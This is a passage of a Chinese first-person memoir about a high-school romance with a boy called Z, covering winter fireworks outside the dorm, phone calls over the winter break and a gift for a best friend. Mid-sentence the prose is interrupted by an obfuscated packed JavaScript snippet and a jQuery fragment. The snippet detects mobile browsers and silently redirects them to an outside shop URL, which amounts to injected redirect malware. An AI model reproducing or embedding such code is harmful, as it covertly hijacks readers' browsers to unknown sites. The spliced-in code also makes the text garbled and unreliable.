想到高一的冬天，感觉雪一直下个不停。那时候我住校，期末复习是出门晚归的借口，天气好冷，刚好可以和Z戴同款不同色的情侣围巾，是我挑的，酒红配藏青。
我住的那栋女宿，靠近校墙栏杆，每次Z送我回宿舍，我上楼，再去阳台，等一会儿，就可以看见他刚好走到校外。
在连日落雪中，第一个学期走到尽头。考完试当天Z就回了上海，宿舍楼里也充满万向轮拖拽下楼的声音。因为父母有事，我第二天早上才能回家。
天暗下来，整栋宿舍就变得空荡又安静。
当时我躺在宿舍床铺里，心情很差，也没有开灯，Z打来电话问我的情况，我说室友都走了，感觉整栋楼都空了，就剩我一个了，有点害怕。
他安慰我，一直陪着我说话。
过了一会儿，Z让我到阳台去，我一头雾水也照做了，披着小毯子打开阳台的门。
外面路灯的光映进来，雪停了，校路无人，空气冰冷。
我问他到阳台来是要干什么。
刚问完，头顶就传来烟花炸裂的声音，砰一声，彩光四散。
Z在电话里问我看到没有，好不好看。
我傻了好一会儿，说看到了。
真惊奇他是从哪儿找的人，来校墙外放烟花，且位置如此准确，就在他平时走到校外，我会在阳台跟他挥手打招呼的地方。
烟花很响，还留在宿舍的女生都跑到阳台来，空荡的宿舍楼一下又闹腾起来，连旁边宿舍都还剩两个人，一楼的宿管阿姨也披着外套一脸懵跑出来问是谁在放烟花。
Z问我有没有好一点，是不是没有那么怕了。
那时候还未成年，不敢跟家里人说谈恋爱的事情。妈妈来宿舍帮我收拾东西回家，Z送的礼物太多，绞尽脑汁才给那些物品编出可信的由来。
放寒假回家，几乎每天晚上都躲在被窝里跟Z打电话。
记得就是这些电话里的某一通，Z说：完蛋，我爸好像知道我谈恋爱了。
我问原因，Z说，今天他爸爸来他房间说事情，无意发现他书桌上放了一本《红与黑》，他爸爸翻了两下，眼神立刻变得耐人寻味。
回老家前，Z的生活除了学习就是训练，回老家之后，Z开始看司汤达……
不止他爸爸意外，我也很意外，他看起来不像对文学有浓厚兴趣的人。
我问他怎么会看这本书。
Z说到我们之间，我不知道的开端——刚开学，一个我几乎没有记忆的傍晚，他说我那天穿淡青色的裙子，进了学校附近的那家书店，他跟着我在里面逛，最后我买了一本《红与黑》结账出去，他也买了同一本。
我想不起来那天的事，但开学第一次去附近书店，不好意思空手出来，的确买了一本新版的《红与黑》，我问他：“你也喜欢这本书吗？”
他说不是，说看了也不是很喜欢，男主好像是渣男，但寒假打算坚持看完。
我听笑了，说不喜欢为什么还要坚持看啊。
Z在电话里说：“因为我想知道你看的书在讲什么。”
我握着手机，一时不知道要接什么话，最后还是叫他不要看了：“硬看自己不喜欢的书会很痛苦的，我给你讲这个故事吧。”
等讲完，等结束通话，从蒙头的被子里钻出来，脸都因缺氧闷得发红。
寒假跟不同校的闺蜜见面，分享我的初恋，我讲到自己用躲在被子里打电话的方式，来控制声音不被家人发现。闺蜜夸张道：“哇，果然恋爱要命，才刚开始就这么令人窒息了吗？”
那时我笑纳调侃，一脸甜蜜。
我哪晓得自己十年后会真的因为这段恋爱哭到不能呼吸。
恋爱果然要命。
当年读高中，正好是新校区搬迁那一届，周围基建还有待完善，可能也正因如此，班主任误闯红灯没有被扣分，Z的朋友胆大包天放烟花没有被抓去批评教育。
虽然大家都会夸张调侃，我们这届好惨，从推门见公园变成四周是荒野，我们辛辛苦苦考上重点高中就是为了来这种地方读书的吗！
城南正值大兴土木之际，但好处也不是一点没有。
附近工地时不时就会发生一些施工不当的问题，比如好心的工人叔叔不小心挖断电缆啦。
灯火通明的校园陡然陷入黑暗，几栋教学楼之间，黑漆漆的窗户里爆发狂欢似的尖叫，等班主任来通知晚自习取消，回家注意安全，又会再叫一次。
学生时代就能看出我和Z性格迥异，完全不是一路人。
我做什么事都不着急，性格散漫，得过且过。
从小到大我父母没有强迫我做任何事，我说不想住校了，我爸爸就去托人打听学区房，租了他朋友的房子，请了一个阿姨来照顾我的饮食起居。
高中分科后，我有了厌学情绪，被老师频频约谈，我不知道怎么办，努力学习没办法像初中那样带给我快乐和成就感，那段时间，我调整不好，一直萎靡不振。
在某天寻常的聊天里，我忽然跟我妈妈说：妈妈我不努力了行吗？好累，我不想学了。我妈想都没想说可以，说我已经比很多人都厉害了，说我一直都是她的骄傲。
我一直知道我妈妈很爱我，但我没想到她这样在意我开不开心，什么都没有我当下的感受重要。
亦如我说我不想住校，我妈妈不想放弃原来的生活圈子来当陪读妈妈，说能不能找个阿姨照顾我，虽然心底更想被妈妈照顾，但我也举双手赞成。
在我们家，每个人的自我意志都有权排在他人生中的第一位。
我就是在这样的环境里长大的。
我讨厌很辛苦地去做一件事；我反感强迫别人；我对需要以竞争来得到的东西都不怎么感兴趣；我感到不舒服就放弃，说我不要了，简直是本能。
但Z不是，他的成长经历，把他塑造成一个随时等待上场的人，必须辛苦，必须忍耐，必须做足准备，不然上场就会被打倒，决定了就不回头，轻言放弃的人是Loser。
Z从来不迟到，我每次风风火火踩铃进班，他都已经非常沉静地坐在后排，书包水杯在固定的位置放好。
如果我前一天把杯子落在班里，我杯子里的水也会打好，放在我的桌子上。问他要什么东西，也总能快速从书包里拿出来。
但我不是，我的书包时常塞得乱七八糟，我连放学收东西都比别人慢，时不时会心血来潮把书包整理一下，但很快又会乱，放学了会在座位上发呆，会临时考虑这周不上的科目，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17805577|210703||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
要不要把书先带回家。
我的人生有太多临场发挥的时刻。
那天晚上也一样，晚自习因停电取消后，Z很快收好书包，第一个从后门出去，我慢慢吞吞，往楼下去的时候，已经人挤人水泄不通了。
楼道只有很淡的应急灯，喧闹模糊，有人在人潮里抓住我的手：“待会儿想去哪里？这个时候南门人很多，应该不好打车，我们去正门，反正没电，天这么黑，什么也看不到。”
我们牵着手，被挤在拥堵的下楼人群里，我觉得好笑：什么都看不清，你刚刚怎么看到我的。
Z说，他一直在等我下来，我一进楼道，他就看到我了。
记得那天是周五。
因为后面是周六日，玩着玩着我就不想回家了，给照顾我的阿姨打了电话，和Z在老城区玩到九点多。
Z在路边笑着挥手，让我路上注意安全，到了发信息。
闺蜜的妈妈来小区门口接我，我和闺蜜妈妈一起去X中接闺蜜下晚自习，闺蜜妈妈感慨：如果安当初再考好一点，就可以跟你同校了。
我用“宁做鸡头不做凤尾”来安慰闺蜜妈妈，说我其实也不是很想读Y中啦，我要是也读X中，就能天天来吃阿姨做的饭了。
这话不假，也不完全真。
我初中最好的三个朋友包括安在内，她们都读X中，我也填了X中，当时报考老师说，我这个分数还是很有概率能上Y中的。
我填了，最后也真上了Y中。
三个朋友都录到X中，说从来不后悔不可能，高中还没开学，我们就去把X中附近逛了个遍，她们聊这是她们以后的学校，一些时刻，我难免有些格格不入之感。
但后来认识Z，我的想法就变了，重来一万次我也要读Y中。
和闺蜜妈妈接到下晚自习的安，她惊喜万分，我们一路都有聊不完的话，回到她的卧室，我从书包里拿出包装好的礼盒，递给她：“给你，是Z买的。”
那晚知道我要来找闺蜜，Z一定要我带个小礼物来，Z问我“你闺蜜喜欢什么”，我说她喜欢收藏各种奇奇怪怪的杯子。
Z坚持去附近的精品店买了一个，塞到我的书包里。
上大学后，我留在本地，安考去了北方，每年寒暑假她一回家她妈妈就会喊我来她家小住。
那是大三暑假，我躺在安的床上，问我上次过来跟她一块逛书店，买了一本书，落在她家了，应该是七堇年的《平生欢》，想让她找出来看看。
她家刚搬进新居不久，许多杂物还没有理出来。
安去翻找，我蹲在她身边，书没找到，翻到许多蒙尘的杯子，安拆盒，一一摆到凳子上，“你前男友送的，你前男友送的，你前男友送的……”
书最后找到了。
当时盲买这本书，很大一个原因，是非常喜欢书名——平生欢。
这三个字出自宋代张淏的《云谷杂记·侍郎徐公帖》，释义讲：“不妄交于人，一日，忽过予，一见之，如平生欢。”
那本书的封面很好看，写的却是一个悲伤的故事，我不是很喜欢，封底写着一句话，大概可以聊做总结：
“时光驯服一切，我与往事之间，像回声，再怎么千回百转，终消失在山谷。”